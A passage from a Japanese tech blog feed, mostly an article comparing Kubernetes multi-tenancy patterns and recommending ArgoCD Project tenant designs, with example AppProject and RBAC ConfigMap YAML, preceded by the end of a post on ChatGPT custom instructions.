developer and primarily use Golang. Depending on the application, I also utilize Shell Script, Terraform, and Ansible.I am a software developer and I like Cloud Native technologies such as Docker and Kubernetes.I like to develop, operate, and optimize systems.Technical advisor for several other companies.Please use Japanese.How would you like ChatGPT to respond?You are an AI programming assistant.Your response should be informative and logical.First, think STEP-BY-STEP, then describe your plan for what to build.Then output the code in a single code block.Keep your answers objective and concise, and use Markdown formatting.Be sure to include the name of the programming language at the start of the Markdown code block.Avoid enclosing your entire response in a triple backtick.また、 respondに信頼性に関する言及を求めていたのですが有益な情報が得られないので削除しておきました。まとめCustom instructions機能は、ChatGPTの応答をより細かく制御する強力なツールです。これにより、ユーザーは特定のニーズに合わせてモデルを調整することができ、より多様で効果的な結果を得ることが可能になります。この機能の導入により、ChatGPTはさらに多岐にわたる分野での応用が期待されます。この書籍はChatGPTによって達成された科学的な貢献や重要性を理解することができるのでオススメです。ChatGPTの頭の中 (ハヤカワ新書)作者:スティーヴン ウルフラム早川書房Amazonおすすめ記事honeshabri.hatenablog.com","link":"https://syu-m-5151.hatenablog.com/entry/2023/08/22/204327","isoDate":"2023-08-22T11:43:27.000Z","dateMiliSeconds":1692704607000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"【ArgoCD\uD83D\uDC19️】KubernetesのマルチテナントパターンとArgoCDの実践テナント設計","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️Kubernetesのマルチテナントパターンの種類マルチテナントパターンをArgoCDで実践する場合にオススメのパターン (★)ArgoCDのNamespacedスコープモードとClusterスコープモードArgoCDのProjectテナントがマニフェストのデプロイを制限する仕組みこの記事から得られる知識01. はじめに02. なぜArgoCDにマルチテナントが必要なのかシングルテナントの場合マルチテナントの場合03. Kubernetesのマルチテナントパターンマルチテナントパターンの一覧Clusters as-a-ServiceControl Planes as-a-ServiceNamespaces as-a-Serviceツール固有テナント04. ArgoCDでのテナントパターン実践の一覧04-02. Clusters as-a-Service の実践実Clusterテナントオススメしない理由04-03. Control Planes as-a-Service の実践仮想Clusterテナント - ★オススメした理由04-04. Namespaces as-a-Service の実践04-05. ツール固有テナントの実践ProjectテナントCLモード vs. NSモード05. CLモードなArgoCDCLモードなArgoCDとは実装方法AppProjectArgoCDコンポーネント用ConfigMap (argocd-cmd-params-cm)ログインユーザー用ConfigMap (argocd-rbac-cm)オススメしない理由05-02. NSモードなArgoCD - ★★NSモードなArgoCDとは実装方法AppProjectArgoCDコンポーネント用ConfigMap (argocd-cmd-params-cm)ログインユーザー用ConfigMap (argocd-rbac-cm)特にオススメした理由Projectテナント例の一覧テナント例1Namespace (プロダクトの実行環境別)、AppProject (プロダクトの実行環境別)オススメしなかった理由テナント例2 - ★Namespace (プロダクト別)、AppProject (プロダクトの実行環境別)オススメした理由テナント例3 - ★★Namespace (プロダクト別)、AppProject (プロダクトのサブチーム別)特にオススメした理由06. Projectテナントのデプロイ制限の仕組みマニフェストのデプロイ制限マニフェストをデプロイできる場合(\uD83D\uDEAB制限例1) 無認可のNamespaceでApplicationを作成しようとした場合(\uD83D\uDEAB制限例2) 無認可のAppProjectでApplicationを作成しようとした場合(\uD83D\uDEAB制限例3) 無認可のプロダクト用Clusterを指定しようとした場合(\uD83D\uDEAB制限例4) 無認可のNamespaceをデプロイ先に指定しようとした場合カスタムリソースのReconciliation制限ArgoCD系カスタムリソースをReconciliationできる場合(\uD83D\uDEAB制限例1) 無認可のNamespaceにReconciliationを実行しようとした場合07. おわりに謝辞01. はじめに『先日助けて頂いたアルトバイエルンです』画像引用元：Argo Projectさて最近の業務で、全プロダクトの技術基盤開発チームに携わっており、全プロダクト共有のArgoCD\uD83D\uDC19のマルチテナント化を担当しました。プロダクトが稼働するKubernetes Clusterが10個以上あり、Clusterによっては複数のチームが合計100個以上のマイクロサービスを運用しています。このような大規模なマイクロサービスシステムがいくつもある状況下で、ArgoCDのマルチテナント設計の知見を深められたため、記事で解説しました。書きたいことを全部書いたところ、情報量がエグいことになってしまったので、気になる章だけでも拾って帰っていただけるとハッピーです\uD83D\uDE4FKubernetesのマルチテナントパターン (3章)ArgoCDでのテナントパターン実践の一覧 (4章)ArgoCDのClusterスコープモードとNamespacedスコープモード (5章)Projectテナントのデプロイ制限の仕組み (6章)それでは、もりもり布教していきます\uD83D\uDE1702. なぜArgoCDにマルチテナントが必要なのかシングルテナントの場合そもそも、なぜArgoCDにマルチテナントが必要なのでしょうか。例えば、マニフェストのデプロイ先となるプロダクト用Cluster (例；foo、bar、baz) があると仮定します。ArgoCDをシングルテナントにする場合、各プロダクトチームの操作するApplicationを同じテナントに共存させることになります。この場合、単一のargocd-server (ダッシュボード) から全てのApplicationを操作できて便利です。しかし、プロダクト用Cluster数が増えていくにつれて、問題が起こり始めます。例えば、いずれかのプロダクトチームが誤ったApplicationを操作し、結果的に誤ったClusterにマニフェストをデプロイしてしまう可能性があります。もちろん、システムでインシデントを起こしてやろうという悪意を持った人が、誤ったClusterを意図的に選ぶ可能性もあります\uD83D\uDE08マルチテナントの場合その一方で、いい感じのマルチテナントにしたとします。プロダクトチームは、認可されたテナントに所属するApplicationにのみを操作でき、反対に無認可のテナントのApplicationは操作できません。これにより、誤ったプロダクト用Clusterにマニフェストをデプロイすることを防げます。03. Kubernetesのマルチテナントパターンマルチテナントパターンの一覧ArgoCDのテナント設計を実践する前に、Kubernetesにはどんなマルチテナントパターンがあるのでしょうか。Kubernetesのマルチテナントパターンは、以下に大別できます。マルチテナントパターン名 テナントの単位 テナント間のKubernetesリソース分離(分離できていれば ✅ ) ツール Namespacedスコープリソース Clusterスコープリソース Clustersas a Service 実Clusterテナント ✅ ✅ 実Cluster管理ツール (AWS EKS、GCP GKE、Azure AKE、Kubeadm、など) Control Planesas a Service 仮想Clusterテナント ✅ ✅ 仮想Cluster管理ツール (Kcp、tensile-kube、vcluster、VirtualCluster、など) Namespacesas a Service Namespaceテナント ✅ Namespaceを増やすだけなのでツール不要 ツール固有テナント カスタムリソーステナント ツールによる ツールによる ArgoCDのAppProject、CapsuleのTenant、kioskのAccount、KubeZooのTenant、など \\"ソフトマルチテナンシー\\" と \\"ハードマルチテナンシー\\" といった分類方法もあります。この分類方法では、テナント間の分離度の観点で各マルチテナントを種別します。ソフトマルチテナンシーは、互いに信頼できる前提の上で、テナント間を弱く分離します。その一方で、ハードマルチテナンシーは、互いに信頼できない前提の上でテナント間を強く分離します。分離度がソフトとハードのいずれであるかに客観的な指標がなく、やや曖昧な種別になってしまうため、本記事の X as-a-Service の方が個人的には好みです♡♡♡The Kubernetes Book: 2023 Edition (Mastering Kubernetes Book 2) (English Edition)Multi-tenancy | KubernetesMulti-tenancy - EKS Best Practices GuidesClusters as-a-ServiceClusters as-a-Serviceは、テナントごとに独立したClusterを提供します。実Cluster管理ツールとして、AWS EKS、GCP GKE、Azure AKE、Kubeadm、などがあります。Three Tenancy Models For Kubernetes | KubernetesWhat are the three tenancy models for Kubernetes?Control Planes as-a-ServiceControl Planes as-a-Serviceは、テナントごとに独立したコントロールプレーン (言い換えば仮想Cluster) を提供します。仮想Cluster管理ツールとして、Kcp、tensile-kube、vcluster、VirtualCluster、などがあります。Three Tenancy Models For Kubernetes | KubernetesWhat are the three tenancy models for Kubernetes?Namespaces as-a-ServiceNamespaces as-a-Serviceは、テナントごとに独立したNamespaceを提供します。Namespaceを増やすだけなので、ツールは不要です。Three Tenancy Models For Kubernetes | KubernetesWhat are the three tenancy models for Kubernetes?ツール固有テナントツール固有テナントは、テナントごとに固有の論理空間 (例：ArgoCDのAppProject、CapsuleのTenant、kioskのAccount、KubeZooのTenant、など) を提供します。ツールによっては、X as-a-Service も兼ねている場合があります。今回紹介するAppProjectはNamespaceテナントを兼ねており、ツール固有のテナント で解説しています。04. ArgoCDでのテナントパターン実践の一覧お待たせしました。ここからは、KubernetesのマルチテナントをArgoCDで実践し、おすすめのテナントパターンを解説していきます。なお、オススメするものを ★ としています。マルチテナントパターン名 テナント実践 ArgoCDがテナント間で独立 / 共有 テナント間のKubernetesリソース分離(分離できていれば ✅ ) オススメ Namespacedスコープリソース Clusterスコープリソース Clustersas-a-Service 実Clusterテナント 独立 ✅ ✅ Control Planesas-a-Service 仮想Clusterテナント 独立 ✅ ✅ ★ Namespacesas-a-Service Namespaceテナント 独立 ✅ ツール固有テナント Projectテナント(CLモード) 共有 ✅ Projectテナント(NSモード) 独立 ✅ ★★ How many do you need? - Argo CD Architectures Explained | Akuity以降の図の凡例です。ArgoCDの各コンポーネント (application-controller、argocd-server、dex-server、repo-server) と各リソース (Application、AppProject) を区別しています。04-02. Clusters as-a-Service の実践実Clusterテナント実Clusterテナントは、Clusters as-a-Serviceなテナントの実践であり、実際のClusterをテナントの単位とします。後述の仮想Clusterと対比させるために、\\"実Cluster\\" と呼ぶことにします。各プロダクトチームは、実Clusterテナント内のApplicationを操作し、正しいプロダクト用Clusterにマニフェストをデプロイします。オススメしない理由実Clusterテナントには、以下のメリデメがあります。デメリットの回避策も考慮して、独断と偏見でオススメしませんでした。半年以内にアップグレードしないとサポートが切れるKubernetesクラスターが33個もあって、泣いちゃった— 長谷川 広樹 (俺です) (@Hiroki__IT) January 18, 2023 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 - テナントを増やすために実Clusterを用意する必要があり、作業量が多い。 ➡︎ IaCツールで実Clusterを用意するようにすれば作業量を減らせるが、やっぱりとてもつらい\uD83D\uDE2D 安全性(セキュリティ) ClusterからClusterへの名前解決を不可能にすれば、他のテナントからの通信を遮断できる。 - ➡︎ - 保守性 ClusterスコープまたはNamespacedスコープなKubernetesリソースを他のテナントから分離できる。これらのKubernetesリソース (特にCRD) の変更が他のテナントに影響しない。 各テナントが、個別に実Clusterを保守しないといけない。(例：アップグレード、機能修正、など) ➡︎ 回避できず、とてもつらい\uD83D\uDE2D 性能 Clusterのハードウェアリソースを他のテナントと奪い合うことなく、これを独占できる。 - ➡︎ - 信頼性 テナントごとに実Clusterが独立しており、他の実Clusterから障害の影響を受けない。 - ➡︎ - 04-03. Control Planes as-a-Service の実践仮想Clusterテナント - ★仮想Clusterテナントは、Control Planes as-a-Serviceなテナントの実践であり、仮想Clusterをテナントの単位とします。各プロダクトチームは、仮想Clusterテナント内のApplicationを操作し、正しいプロダクト用Clusterにマニフェストをデプロイします。Using Argo CD with vclusters. Managing deployment to multiple… | by Daniel Helfand | Argo Projectオススメした理由仮想Clusterテナントには、以下のメリデメがあります。デメリットの回避策も考慮して、独断と偏見で オススメ しました。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 テナントを増やすためにマニフェストで定義した仮想Clusterを用意するだけでよく、実Clusterを用意することと比べて作業量が少ない。 - ➡︎ - 安全性(セキュリティ) 仮想Cluster管理ツールの機能で、仮想ClusterからホストClusterへの名前解決を不可能にすれば、他のテナントからの通信を遮断できる。 - ➡︎ - 保守性 ClusterスコープまたはNamespacedスコープなKubernetesリソースを他のテナントから分離できる。これらのKubernetesリソース (特にCRD) の変更が他のテナントに影響しない。 各テナントが、個別に仮想Clusterを保守しないといけない。(例：アップグレード、機能修正、など) ➡︎ 仮想Clusterに関する知見を持つ組織であれば、各テナントで保守できる。 性能 - Clusterのハードウェアリソースを他のテナントと奪い合うことになる。 ➡︎ 多くの利用者が同時並行的にArgoCDを操作する状況になりにくければ、奪い合いも起こらない。 信頼性 テナントごとに仮想Clusterが独立しており、他の仮想Clusterから障害の影響を受けない。 - ➡︎ - 04-04. Namespaces as-a-Service の実践Namespaceテナントは、Namespaces as-a-Serviceなテナントの実践であり、Namespaceをテナントの単位とします。後述の Projectテナント は二重のテナントを持ち、Namespaceテナントも兼ねています。そのため、ここではNamespaceテナントの解説は省略します。04-05. ツール固有テナントの実践ProjectテナントProjectテナントは、ツール固有テナントの実践であり、NamespaceとAppProjectをテナントの単位とします。Projectテナントは、二重のテナント (第一テナントにNamespace、第二テナントに複数のAppProject) を持ち、\\"あらゆる面から\\" マニフェストのデプロイを制限します。特に、AppProjectはNamespaceスコープなカスタムリソースであり、自身に所属するApplicationを一括して制限します。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: foo-tenant namespace: foo # 自身に所属するApplicationを制限するspec: ...apiVersion: argoproj.io/v1alpha1kind: Applicationmetadata: name: infra-application namespace: foospec: # foo-tenantに所属する project: foo-tenant ...Argo CD in Practice: The GitOps way of managing cloud-native applications (English Edition)Projects - Argo CD - Declarative GitOps CD for Kubernetes.spec.scopeキーからも分かる通り、AppProjectはNamespacedスコープなカスタムリソースであり、任意のNamespaceを設定できます\uD83D\uDC4DapiVersion: apiextensions.k8s.io/v1kind: CustomResourceDefinitionmetadata: labels: app.kubernetes.io/name: appprojects.argoproj.io app.kubernetes.io/part-of: argocd name: appprojects.argoproj.iospec: group: argoproj.io names: kind: AppProject ... # Namespacedスコープなカスタムリソースであるとわかる scope: Namespaced... argo-cd/manifests/crds/appproject-crd.yaml at master \xb7 argoproj/argo-cd \xb7 GitHubExtend the Kubernetes API with CustomResourceDefinitions | KubernetesCLモード vs. NSモードArgoCDには、Clusterスコープモード と Namespacedスコープモード (以降、\\"CLモード\\" と \\"NSモード\\") があります。スコープモードに応じて、Projectテナントの設計方法が異なります。次の章からは、CLモードとNSモードの両方でProjectテナントを解説していきます。Applications in any namespace - Argo CD - Declarative GitOps CD for Kubernetes05. CLモードなArgoCDCLモードなArgoCDとはCLモードなArgoCDの場合、各テナント間で共有のArgoCDを管理します例えば、Projectテナントとして、プロダクト別のNamespace (foo、bar、baz) とAppProject (foo、bar、baz) を用意します。別途、ArgoCD専用のNamespace (argocd) を用意し、ここに関連するKubernetesリソース (例；ConfigMap) を配置します。各プロダクトチームは、Projectテナント内のApplicationを操作し、正しいプロダクト用Clusterにマニフェストをデプロイします。Applications in any namespace - Argo CD - Declarative GitOps CD for KubernetesArgoCD: Multi-tenancy strategy. Introduction | by Geoffrey | Medium実装方法AppProjectNSモードと同様にして、AppProjectに所属するApplicationによるマニフェストのデプロイを制限できます。例えば、以下のような実装になります。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: foo-tenant namespace: foospec: destinations: # ArgoCD用Clusterに関する認可を設定する # App-Of-Appsパターンの場合に使用する - namespace: foo server: \\"https://kubernetes.default.svc\\" # プロダクト用Clusterに関する認可を設定する - namespace: \\"*\\" server: https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.com # CLモードでは設定が必要である sourceNamespaces: - fooApplicationを操作するログインユーザーが、無認可のNamespaceやClusterをデプロイ先に指定できないように、.spec.destinationキーで制限しています。一方で後述のNSモードとは異なり、CLモードなArgoCDは任意のNamespaceのApplicationにアクセスできます。そのため、.spec.sourceNamespacesキーで、特定のNamespaceのApplicationがこのAppProjectに所属できないように、ApplicationのNamespaceを制限しています。Applications in any namespace - Argo CD - Declarative GitOps CD for KubernetesProjects - Argo CD - Declarative GitOps CD for KubernetesArgoCDコンポーネント用ConfigMap (argocd-cmd-params-cm)NSモードと同様にして、argocd-cmd-params-cmでは、ArgoCDの各コンポーネントのコンテナの引数を設定できます。例えば、以下のような実装になります。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm # 専用のNamespaceを設定する namespace: argocddata: # CLモードでは設定が必要である # 全てのNamespaceを指定したい場合は、ワイルドカードを設定する application.namespaces: \\"*\\".application.namespacesキーは、argocd-serverとapplication-controllerの--application-namespacesオプションに相当します。一方での後述のNSモードとは異なり、CLモードなArgoCDは任意のNamespaceのApplicationにアクセスできます。--application-namespacesオプションで、任意のNamespaceにアクセスするための認可を設定できます。Applications in any namespace - Argo CD - Declarative GitOps CD for Kubernetesargocd-cmd-params-cmの代わりに、例えば以下のようにPodに引数を直接渡しても良いです\uD83D\uDE46\uD83C\uDFFB‍例えば、以下のような実装になります。apiVersion: v1kind: Podmetadata: name: argocd-server namespace: argocdspec: containers: - name: argocd-server image: quay.io/argoproj/argocd:latest args: - /usr/local/bin/argocd-server # コンテナ起動時の引数として - --application-namespaces=\\"*\\" ...apiVersion: v1kind: Podmetadata: name: argocd-application-controller namespace: argocdspec: containers: - name: argocd-application-controller image: quay.io/argoproj/argocd:latest args: - /usr/local/bin/argocd-application-controller # コンテナ起動時の引数として - --application-namespaces=\\"*\\" ... Argocd application controller - Argo CD - Declarative GitOps CD for KubernetesArgocd server - Argo CD - Declarative GitOps CD for Kubernetesログインユーザー用ConfigMap (argocd-rbac-cm)NSモードと同様にして、argocd-rbac-cmでは、Applicationを操作するログインユーザーが、無認可のAppProjectやNamespaceに所属するApplicationを操作できないように制限します。例えば、以下のような実装になります。apiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm # 専用のNamespaceを設定する namespace: argocddata: # デフォルトのロール # @see https://github.com/argoproj/argo-cd/blob/master/assets/builtin-policy.csv#L9-L16 policy.default: role:readonly policy.csv: | p, role:foo, *, *, foo/*/*, allow p, role:bar, *, *, bar/*/*, allow p, role:baz, *, *, baz/*/*, allow g, foo-team, role:foo g, bar-team, role:bar g, baz-team, role:baz scopes: \\"[groups]\\"認証済みグループ (foo-team、bar-team、baz-team) に対して、無認可のAppProject (foo、bar、baz) に所属するApplicationを操作できないように、認可スコープを制限しています。Casbin の記法を使用します。今回の実装例で使用したp (パーミッション) とg (グループ) では、以下を記法を使用できます\uD83D\uDC4DapiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: argocddata: policy.default: role:readonly policy.csv: | # ロールとArgoCD系カスタムリソースの認可スコープを定義する p, role:<ロール名>, , <アクション名>, //, <許否> # 認証済みグループにロールを紐付ける g, <グループ名>, role:<ロール名> scopes: \\"[groups]\\"RBAC Configuration - Argo CD - Declarative GitOps CD for Kubernetesオススメしない理由CLモードなArgoCDのProjectテナントには、以下のメリデメがあります。デメリットの回避策も考慮して、独断と偏見でオススメしませんでした。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 テナントを増やすためにNamespaceとAppProjectを用意するだけでよく、作業量が少ない。 - ➡︎ - 安全性(セキュリティ) NetworkPolicyでNamespace間の名前解決を不可能にすれば、他のNamespaceからの通信を遮断できる。 - ➡︎ - 保守性 ArgoCD用Clusterの管理者が単一のClusterを保守すればよい。(例：アップグレード、機能修正、など) AppProjectはNamespacedスコープなカスタムリソースのため、ClusterスコープなKubernetesリソースを他のテナントと共有しないといけない。そのため、ClusterスコープなKubernetesリソース (特にCRD) の変更は全てのテナントに影響する。 ➡︎ ArgoCDのアップグレード時 (CRDの変更時) は、ついでにKubernetesもアップグレードしたい。新しいClusterを別に作成し、そこで新ArgoCDを作成すれば一石二鳥である。 性能 - Clusterのハードウェアリソースを他のテナントと奪い合うことになる。 ➡︎ 多くの利用者が同時並行的にArgoCDを操作する状況になりにくければ、奪い合いも起こらない。 信頼性 - ClusterまたはArgoCDで障害が起こると、これは全てのテナントに影響する。 ➡︎ 代わりにNodeやArgoCDを十分に冗長化して可用性を高めれば、影響を緩和できる。ただ、そもそもの影響範囲が大きすぎる\uD83D\uDE2D 05-02. NSモードなArgoCD - ★★NSモードなArgoCDとはNSモードなArgoCDの場合、前述のCLモードとは異なり、各Projectテナント間で独立したArgoCDを管理します。例えば、Projectテナントとして、プロダクト別のNamespace (foo、bar、baz) とAppProject (foo、bar、baz) を用意します。各Projectテナントに、ArgoCDと関連するKubernetesリソース (例；ConfigMap) を配置します。各プロダクトチームは、Projectテナント内のApplicationを操作し、正しいプロダクト用Clusterにマニフェストをデプロイします。Applications in any namespace - Argo CD - Declarative GitOps CD for Kubernetes実装方法AppProjectCLモードと同様にして、AppProjectに所属するApplicationによるマニフェストのデプロイを制限できます。例えば、以下のような実装になります。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: foo-tenant namespace: foospec: destinations: # ArgoCD用Clusterに関する認可を設定する # App-Of-Appsパターンの場合に使用する - namespace: foo server: \\"https://kubernetes.default.svc\\" # プロダクト用Clusterに関する認可を設定する - namespace: \\"*\\" server: https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.com# NSモードでは設定が不要である# sourceNamespaces:# - fooApplicationを操作するログインユーザーが、無認可のNamespaceやClusterをデプロイ先に指定できないように、.spec.destinationキーで制限しています。前述のCLモードとは異なり、NSモードなArgoCDは自身が所属するNamespaceのApplicationのみにアクセスできます。そのため、.spec.sourceNamespacesキーでマニフェストのデプロイを制限する必要はありません。Applications in any namespace - Argo CD - Declarative GitOps CD for KubernetesProjects - Argo CD - Declarative GitOps CD for KubernetesArgoCDコンポーネント用ConfigMap (argocd-cmd-params-cm)CLモードと同様にして、argocd-cmd-params-cmでは、ArgoCDの各コンポーネントのコンテナの引数を設定できます。例えば、以下のような実装になります。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm namespace: foodata:# NSモードでは設定が不要である# application.namespaces: \\"*\\"前述の通り、.application.namespacesキーは、argocd-serverとapplication-controllerの--application-namespacesオプションに相当します。前述のCLモードとは異なり、NSモードなArgoCDは自身が所属するNamespaceのApplicationのみにアクセスできますそのため、.application.namespacesキーでNamespaceに関する認可を設定する必要はありませんもちろん、Podのコンテナ引数にも設定は不要です。Applications in any namespace - Argo CD - Declarative GitOps CD for Kubernetesログインユーザー用ConfigMap (argocd-rbac-cm)CLモードと同様にして、argocd-rbac-cmでは、Applicationを操作するログインユーザーが、無認可のAppProjectやNamespaceに所属するApplicationを操作できないように制限します。例えば、以下のような実装になります。apiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: foodata: # デフォルトのロール # @see https://github.com/argoproj/argo-cd/blob/master/assets/builtin-policy.csv#L9-L16 policy.default: role:readonly policy.csv: | p, role:app, *, *, app/*/*, allow p, role:infra, *, *, infra/*/*, allow g, app-team, role:app g, infra-team, role:infra scopes: \\"[groups]\\"認証済みグループ (app-team、infra-team) に対して、無認可のAppProject (app、infra) に所属するApplicationを操作できないように、認可スコープを制限しています。特にオススメした理由NSモードなArgoCDのProjectテナントには、以下のメリデメがあります。デメリットの回避策も考慮して、独断と偏見で 特にオススメ しました。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 テナントを増やすためにNamespaceとAppProjectを用意するだけでよく、作業量が少ない。 - ➡︎ - 安全性(セキュリティ) NetworkPolicyでNamespace間の名前解決を不可能にすれば、他のNamespaceからの通信を遮断できる。 - ➡︎ - 保守性 単一のClusterを保守すればよい。(例：アップグレード、機能修正、など) AppProjectはNamespacedスコープなカスタムリソースのため、ClusterスコープなKubernetesリソースを他のテナントと共有しないといけない。そのため、ClusterスコープなKubernetesリソース (特にCRD) の変更は全てのテナントに影響する。 ➡︎ ArgoCDのアップグレード時 (CRDの変更時) は、ついでにKubernetesもアップグレードしたい。新しいClusterを別に作成し、そこで新ArgoCDを作成すれば一石二鳥である。 性能 - Clusterのハードウェアリソースを他のテナントと奪い合うことになる。 ➡︎ 多くの利用者が同時並行的にArgoCDを操作する状況になりにくければ、奪い合いも起こらない。 信頼性 テナントごとにArgoCDが独立しており、他のArgoCDから障害の影響を受けない。 Clusterで障害が起こると、これは全てのテナントに影響する。 ➡︎ 代わりに、Nodeを十分に冗長化して可用性を高める。いずれかのインスタンスで障害が起こっても、正常なインスタンスでArgoCDが稼働できる。 Projectテナント例の一覧NSモードなArgoCDを採用する場合、Projectテナント例を解説していきます。前述の通り、Projectテナントが二重テナント (第一テナントにNamespace、第二テナントに複数のAppProject) を持つことに留意してください。なお、オススメするものを ★ としています。 テナント例(二重テナント) オススメ Namespace(第一テナント) AppProject(第二テナント) テナント例1 プロダクトの実行環境別 プロダクトの実行環境別 テナント例2 プロダクト別 プロダクトの実行環境別 ★ テナント例3 プロダクト別 プロダクトのサブチーム別 ★★ \\"管理チーム別\\" (今回でいうプロダクト別) というNamespaceの分割パターンは、様々な著名な書籍やブログで紹介されています\uD83D\uDC40 Amazon | Kubernetes in Action | Luksa, Marko | Software DevelopmentKubernetes best practices: Specifying Namespaces in YAML | Google Cloud Blogテナント例1Namespace (プロダクトの実行環境別)、AppProject (プロダクトの実行環境別)プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。この場合に、プロダクトの実行環境別にNamespace (dev、tes) とAppProject (dev、tes) を用意します。オススメしなかった理由テナント例1には、以下のメリデメがあります。独断と偏見でオススメしませんでした。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 - ArgoCDのPod数が多くなり、将来的にNode当たりのPodやIPアドレスの上限数にひっかかりやすい。その時点で、Projectテナントの増やせなくなる。 ➡︎ 例えばAWS EKSの場合、Node数を増やしたり、Nodeのスペックを上げる。ただ、お金がかかる\uD83D\uDE2D 安全性(セキュリティ) ログインユーザー用ConfigMap (argocd-rbac-cm) を使用すれば、無認可の実行環境別AppProjectに所属するApplicationを操作できないように制限できる。 - ➡︎ - 保守性 異なる実行環境に関するApplicationが共存しておらず、別のargocd-serverから操作することになるため、実行環境間の選択ミスが起こりにくい。 - ➡︎ - テナント例2 - ★Namespace (プロダクト別)、AppProject (プロダクトの実行環境別)プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。プロダクト別にNamespace (foo、bar) 、プロダクトの実行環境別にAppProject (dev、tes) を用意します。オススメした理由テナント例2には、以下のメリデメがあります。独断と偏見で オススメ しました。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 ArgoCDのPod数が多くなり、将来的にNode当たりのPodやIPアドレスの上限数にひっかかりにくい。 - ➡︎ - 安全性(セキュリティ) ログインユーザー用ConfigMap (argocd-rbac-cm) を使用すれば、無認可の実行環境別AppProjectを操作できないように制限できる。 - ➡︎ - 保守性 - 異なる実行環境に関するApplicationが共存しており、同じargocd-server (ダッシュボード) から操作することになるため、実行環境間の選択ミスが起こりやすい。 ➡︎ ダッシュボードにはApplicationのフィルタリング機能があるため、選択ミスを回避できる。 テナント例3 - ★★Namespace (プロダクト別)、AppProject (プロダクトのサブチーム別)プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。プロダクト別にNamespace (foo、bar) 、プロダクトのサブチーム別にAppProject (app、infra) を用意します。特にオススメした理由テナント例3には、以下のメリデメがあります。独断と偏見で 特にオススメ しました。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 ArgoCDのPod数が多くなり、将来的にNode当たりのPodやIPアドレスの上限数にひっかかりにくい。 - ➡︎ - 安全性(セキュリティ) ログインユーザー用ConfigMap (argocd-rbac-cm) を使用すれば、無認可のサブチーム別AppProjectに所属するApplicationを操作できないように制限できる。 - ➡︎ - 保守性 - 異なる実行環境に関するApplicationが共存しており、同じargocd-server (ダッシュボード) から操作することになるため、実行環境間の選択ミスが起こりやすい。 ➡︎ ダッシュボードにはApplicationのフィルタリング機能があるため、選択ミスを回避できる。 06. Projectテナントのデプロイ制限の仕組みそろそろ解説を読むのがしんどい方がいるのではないでしょうか。『君がッ、泣くまで、解説をやめないッ！』Projectテナントがマニフェストのデプロイをどのように制限するのかについて、例を挙げて解説します。ここでは、NSモードなArgoCDの \\"テナント例3\\" を採用し、以下のAppProjectを作成したと仮定します。Projectテナントが二重テナント (第一テナントにNamespace、第二テナントに複数のAppProject) を持つことに留意してください。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: # appチーム name: app namespace: foospec: destinations: # ArgoCD用Clusterに関する認可を設定する # Namespace (foo) へのデプロイを許可する - namespace: foo server: \\"https://kubernetes.default.svc\\" # プロダクト用Clusterに関する認可を設定する # Namespace (app) へのデプロイを許可する - namespace: app server: https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.comapiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: # infraチーム name: infra namespace: foospec: destinations: # ArgoCD用Clusterに関する認可を設定する # Namespace (foo) へのデプロイを許可する - namespace: foo server: \\"https://kubernetes.default.svc\\" # プロダクト用Clusterに関する認可を設定する # Namespace (infra) へのデプロイを許可する - namespace: infra server: https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.comマニフェストのデプロイ制限プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。プロダクト別にNamespace (foo) 、プロダクトのサブチーム別にAppProject (app、infra) を用意します。Projectテナントは、例えば 赤線 の方法で、マニフェストのデプロイを制限します。マニフェストをデプロイできる場合マニフェストを正しくデプロイする場合、Projectテナントはこれを制限しません。(1) argocd-serverは、argocd-cmd-params-cmからアクセスできるNamespaceを取得します。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm namespace: foodata:# 設定しないことで、argocd-serverは同じNamespaceにしかアクセスできなくなる。# application.namespaces: \\"*\\"(2) fooプロダクトのinfraチームが、argocd-serverを操作します。(3) argocd-serverは、argocd-rbac-cmからApplication操作に関する認可スコープを取得しますapiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: foodata: policy.default: role:readonly policy.csv: | p, role:app, *, *, app/*/*, allow p, role:infra, *, *, infra/*/*, allow g, app-team, role:app g, infra-team, role:infra scopes: \\"[groups]\\"(4) infraチームは、認可されたAppProjectに所属するApplicationを操作します。(5) infraチームは、Dev環境のfooプロダクト用ClusterのNamespace (infra) にマニフェストをデプロイできます。(\uD83D\uDEAB制限例1) 無認可のNamespaceでApplicationを作成しようとした場合例えば、fooプロダクトのinfraチームが無認可のNamespace (bar) でApplicationを作成しようとします。すると、argocd-serverは以下のようなエラーを返却し、この操作を制限します。namespace bar is not permitted in project \'infra-team\'無認可のNamespaceでApplicationを作れてしまうと、そのApplicationから無認可のプロダクト用Clusterにマニフェストをデプロイできてしまいます\uD83D\uDE08argo-cd/test/e2e/app_management_ns_test.go at v2.7.10 \xb7 